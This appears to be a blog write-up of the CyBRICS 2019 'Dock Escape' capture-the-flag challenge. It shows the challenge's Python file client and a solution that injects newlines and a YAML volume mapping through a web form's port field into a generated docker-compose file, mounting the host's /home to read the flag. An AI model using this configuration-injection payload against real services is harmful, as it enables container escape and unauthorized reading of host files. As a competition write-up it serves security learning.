Sunday, July 21, 2019

CyBRICS CTF Quals 2019 - Dock Escape

Description

Description

As the name of the challenge implies, we are dealing with some sort of Docker escape and we need to read the flag file located in /home/flag.

First step was accessing the web interface in http://95.179.188.234:8080/ and take a look what it is about.

The Challenge

Web interface

The web interface is a simple website where you can download a client and input a port number. When we click on “Run instance!”, the server will start a Docker container with a service running on the port that we specify. Therefore, let’s take a look at the client source code:

import socket
import sys
import os
import struct

def read_exact(sock, elen):
    data = ''
    while len(data) < elen:
        data += sock.recv(elen-len(data))
    return data


def stor(sock):
    fname = raw_input("Path to uploaded file:")
    try:
        data = open(fname, "rb").read()
    except:
        print "Can't read file!"
        return False
    try:
        pass
    except:
        pass
    if True:
        upload_name = os.path.basename(fname)
        sock.send('S')
        sock.send(struct.pack("<L", len(upload_name)))
        sock.send(upload_name)
        sock.send(struct.pack("<L", len(data)))
        sock.send(data)
    try:
        pass
    except:
        print "conn closed?"
        return False
    try:
        res = read_exact(sock, 3)
    except:
        res = 'BAD'
    if res != "OK!":
        print "Can't store file!"
        return False
    return True

def retr(sock):
    fname = raw_input("file you want to retreive:")
    try:
        sock.send('R')
        sock.send(struct.pack("<L", len(fname)))
        sock.send(fname)
    except:
        print "conn closed?"
        return False
    data = sock.recv(4)
    if len(data) != 4:
        return False
    exp_len = struct.unpack("<L", data)[0]
    if exp_len > 4096:
        print "Network error! We can't work with files more than 4096 bytes!"
        return
    try:
        data = read_exact(sock, exp_len)
    except:
        print "Can't read content"
        return False
    print data
    return True

HANDLERS = {
    'store': stor,
    'retreive': retr
}

def process(sock):
    comm = raw_input("Choose what you want to do(store, retreive):")
    handler = HANDLERS.get(comm, None)
    if handler is None:
        print "Sorry, no such command!"
        return False
    return handler(sock)

def main():
    if len(sys.argv) < 3:
        print "Usage: {} host port".format(sys.argv[1])
        return
    port_number = None
    try:
        port_number = int(sys.argv[2])
    except:
        print "Can't get port number"
        return
    s = socket.socket()
    s.connect((sys.argv[1], port_number))
    still_run = True
    while still_run:
        still_run = process(s)

if __name__ == "__main__":
    main()

As we can see by the code above, when we connect the server, basically we can execute two actions: Store and retrieve files. It would be to trivial to connect to the server and try to retrieve the flag on /home/flag, but we need to remember that the challenge is about escaping the container, so the flag file is on the host, not on the container.

One of the first things we tried was to input an invalid port number on the web interface, it returned us with a nice error message:

Error message

The error message above is interesting, but it doesn’t gave us too much details about how our port number is being added to the container creation. So what happens if we input some garbage in the port number?

Garbage image

And the server returned us:

Another error message

By the image above, we can notice that the port number that we send is concatenated in a Docker compose file, therefore we can control the some content of the compose file.

The Solution

We know that we can control the compose file and we need to read a file that is on the host. So, we need somehow to access the files on host inside the container. One way we could do that is by using Volumes. As we control some content of the generated compose file, we could make it mount a volume for us and therefore we could read the flag file.

Suppose the server has the following template for the Docker compose file:

version: "3"
services:
  server:
    build: .
    ports:
    - input_port:12345

The input_port would be replaced by the port number we input. What we need is to make the server create a file with a volume mapping to the /home of the host, something like the code below:

version: "3"
services:
  server:
    build: .
    ports:
    - input_port:12345
    volumes:
    - "/home:/ctf"

So, in order to make the server created the code above, our input would be something like:

8080:12345\n    volumes:\n    - "/home:/ctf" #

As the Docker compose file uses yaml as format, we need to send a # in the end of our input, so it will comment the remaining content of the generated file. Otherwise it would fail because the file would be corrupted.

So, as we need to send line breaks in our input, we decided to use Burp Suite to edit our request and makes our life easier. The first step of the final attack, it was to send a chosen port number, let’s send 8866:

Port input

Edit our request to manipulate the Docker compose the file and map the /home folder of the host to the /ctf folder on the container:

Edited request

Now we need to use the client and connect to the server 95.179.188.23 and port 8866:

python client.py 95.179.188.234 8866

And as the /home folder of the host is mapped to the /ctf folder on the container, we can finally read the flag by retrieving /ctf/flag file:

Choose what you want to do(store, retreive):retreive
file you want to retreive:/ctf/flag
cybrics{0dbceabb65128d70f92b70f9d63f277ceac7515c501ece4916d0f3aa65457872}
Choose what you want to do(store, retreive):

Capture the Flag , Privilege escalation , Writeup